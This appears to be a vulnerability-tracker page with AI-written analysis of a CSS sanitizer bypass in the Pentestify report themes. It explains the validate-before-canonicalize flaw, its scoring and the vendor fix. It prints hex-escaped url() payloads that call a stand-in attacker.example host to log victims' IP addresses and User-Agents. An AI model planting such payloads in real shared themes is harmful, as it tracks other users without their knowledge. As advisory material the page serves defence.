Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate to Pentestify with low-privilege account
-
DeliveryEdit or create report theme with hex-escaped url() CSS payload
-
ExploitSubmit theme (server-side blocklist bypassed - 'url(' absent in raw text)
-
InstallVictim authenticated user opens report in browser
-
C2Browser decodes CSS hex escape and reconstructs url() call
-
ExecuteBrowser issues outbound HTTP request to attacker server
-
ImpactAttacker logs victim IP address and User-Agent
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Leading special element handling
|
| Exploitation Conditions | Exploitation requires an authenticated Pentestify account with permission to create or modify report themes - the CVSS vector PR:L confirms that low-privilege authentication is sufficient; unauthenticated access is not exploitable. A victim must be a separate authenticated user who opens a report rendered with the attacker's malicious theme in their browser (UI:P - passive victim browser interaction is required; no click or explicit action beyond opening the report is needed). The attack is only meaningful in multi-user deployments where report themes are shared or visible across accounts; a single-user installation presents no meaningful risk because attacker and victim would be the same person. If the CSS theme customization feature is already restricted to administrator accounts only, non-administrator users cannot inject the payload and are therefore not a threat vector. Impact is strictly limited to disclosure of the victim's external IP address and browser User-Agent - no server-side data, credentials, session tokens, or application functionality is directly compromised. |
| Impact | The CVSS 4.0 score of 5.1 (AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N) correctly characterizes this as a medium-severity issue: network-accessible with low attack complexity, but constrained by the requirement for both an authenticated attacker (PR:L) and passive victim interaction (UI:P). The subsequent-system confidentiality impact (SC:L) captures the real harm - victim IP address and User-Agent disclosure - while the absence of server-side confidentiality or availability impact (VC:N/VA:N) keeps the score bounded. No EPSS score was provided in the input data, so exploitation probability cannot be quantitatively compared against CVSS. No CISA KEV listing is present, and no confirmed standalone public exploit code exists; the Secur0 write-up and commit diff together constitute a near-complete exploitation blueprint, which modestly elevates practical risk beyond what the score alone implies. The primary real-world limiting factor is that Pentestify serves a niche pentest-reporting audience - deployments are infrequent and the attacker must hold a legitimate account on the same instance as the victim. This is a genuine but narrowly scoped risk, not a widespread emergency. |
| Exploit ScenarioDerived | An authenticated Pentestify user with theme-editing access creates a report theme and injects CSS such as .header { background: \75 rl(https://attacker.example/collect) } into a theme CSS field; the server-side sanitizer passes the input because the literal string 'url(' is absent. When a victim team member opens any report rendered with that theme, their browser decodes \75 to 'u', executes the reconstructed url() call, and sends an HTTP GET to the attacker's server - logging the victim's real IP address and User-Agent without any visible indication to the victim. No confirmed standalone exploit code repository exists, but the Secur0 advisory at https://secur0.com/en/cna/cve-list/cve-2026-76203-css-sanitizer-bypass-pentestify-report-themes and the commit diff together provide a near-complete reproduction blueprint. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 19, 2026
CSS sanitizer bypass in maalfer Pentestify 1.2.0-2.3.2 allows an authenticated low-privilege user to inject CSS that victim users' browsers silently execute, leaking their real IP address and User-Agent string to an attacker-controlled endpoint. The root cause (CWE-180) is that the report theme sanitizer evaluates its blocklist against raw user input before decoding CSS hex escape sequences, so the literal substring 'url(' never appears in the checked text and the block is trivially evaded using sequences like '\75 rl('. No active exploitation is confirmed (not in CISA KEV) and no standalone public exploit code has been identified, though the Secur0 advisory and vendor commit together form a near-complete reproduction recipe.
RemediationAI
Apply the vendor-supplied fix from the upstream commit at https://github.com/ccyl13/Pentestify/commit/1ed1aadadb02e959af470aac9958462048f7f5f5, which introduces the _decode_css_escapes() function and calls it inside sanitize_css_source() before blocklist evaluation. No specific tagged release version incorporating this fix has been confirmed - verify with the maalfer project maintainer that a patched release is available before deploying. As a compensating control pending the patch, restrict the CSS theme customization feature to administrator-level accounts only; this eliminates the low-privilege attack vector at the cost of removing self-service theme customization from regular users. Alternatively, disabling theme CSS upload entirely closes the attack surface with no residual risk but breaks theming functionality. As defense-in-depth regardless of patch status, enforce a Content-Security-Policy header at the web server or reverse-proxy level with a restrictive default-src or img-src directive (e.g., img-src 'self') to prevent browsers from issuing outbound requests triggered by injected CSS url() calls; note this may block legitimate externally hosted images in reports.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Pentestify (CPE: cpe:2.3:a:maalfer:pentestify:*:*:*:*:*:*:*:*) is a pentest-reporting platform that allows users to customize report themes using CSS. The vulnerable component is the server-side CSS sanitizer in backend/schemas.py (sanitize_css_source()), which maintained a blocklist of dangerous CSS functions including url(). CWE-180 (Incorrect Behavior Order: Validate Before Canonicalize) describes the flaw precisely: the sanitizer checked raw CSS text for the literal string 'url(' before resolving CSS escape sequences. The CSS specification allows any character to be expressed as a hex escape - for example, the letter 'u' equals \75, so url( can be written as \75 rl( - and all browser tokenizers are required to decode these escapes before rendering. An attacker submits CSS like background: \75 rl(https://attacker.example/track.gif), which passes the blocklist unchallenged because the substring 'url(' is absent. When a victim's browser renders the report, it decodes \75 to 'u', reconstructs url(), and issues an outbound HTTP GET that exposes the victim's external IP address and User-Agent. The vendor fix adds a _decode_css_escapes() function that resolves hex and literal CSS escapes prior to blocklist evaluation, closing the bypass.
Know when Pentestify gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N
Network-accessible with PR:L for authenticated attacker, UI:R for victim browser interaction, S:C because victim browsers are affected, C:L for IP and User-Agent disclosure, I:L for attacker-controlled CSS rendered in victim context.
Primary rating from Vendor (Secur0).
CVSS VectorVendor: Secur0
DescriptionCVE.org
Incorrect Behavior Order: Validate Before Canonicalize in the report theme CSS sanitizer in maalfer Pentestify 1.2.0 through 2.3.2 allows an authenticated user to force outbound HTTP requests from other users' browsers, disclosing their IP address and User-Agent, via CSS hex escapes that reconstruct the url() function and evade the sanitizer blocklist
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
More in Pentestify
View allStored cross-site scripting in maalfer Pentestify before 1.1.0 allows an authenticated attacker to inject arbitrary Java
Server-Side Request Forgery in Pentestify's PDF export pipeline allows authenticated users to induce the server-side hea
Stored cross-site scripting in the Markdown renderer of maalfer Pentestify before v2.3.2 allows authenticated users to i
Stored XSS in Pentestify's user management component (all versions before 1.1.1) enables an authenticated attacker to ex
Stored cross-site scripting in Pentestify's finding renderer allows any authenticated user with finding-creation privile
EUVD-2026-62416
GHSA-6xgw-5q2h-p29f
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB